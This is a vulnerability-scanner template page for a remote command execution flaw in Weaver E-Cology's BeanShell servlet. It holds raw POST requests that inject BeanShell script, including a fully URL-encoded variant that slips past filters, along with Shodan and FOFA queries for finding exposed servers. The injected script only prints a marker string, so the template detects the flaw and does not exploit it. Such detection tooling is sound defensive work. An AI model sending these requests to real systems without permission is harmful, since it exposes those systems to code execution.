weaver-ecology-bshservlet-rce: Weaver E-Cology BeanShell - Remote Command Execution

2025-08-01 weaver E-Cology PoC Public

Description

Weaver BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.

PoC

id: weaver-ecology-bshservlet-rce

info:
  name: Weaver E-Cology BeanShell - Remote Command Execution
  author: SleepingBag945
  severity: critical
  description: |
    Weaver BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.
  classification:
    cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
    cwe-id: CWE-95
  metadata:
    verified: true
    max-request: 2
    vendor: weaver
    product: e-cology
    shodan-query: ecology_JSessionid
    fofa-query: app="泛微-协同办公OA"
  tags: beanshell,rce,weaver,vuln

http:
  - raw:
      - |
        POST /weaver/bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        bsh.script=print%28%22{{randstr}}%22%29%3B
      - |
        POST /weaver/bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        %62%73%68%2e%73%63%72%69%70%74=%70%72%69%6e%74%28%22{{randstr}}%22%29%3b

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "BeanShell Test Servlet"
          - "(?i)<pre>(\n.*){{randstr}}"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f1a2d556c9a5068fc8c40459028dfae0f69098c529448db0c0b2391306207139022100e7d5aff30efc7685e0864f55759b995d05a597f27639a3eaca499c53efccb95b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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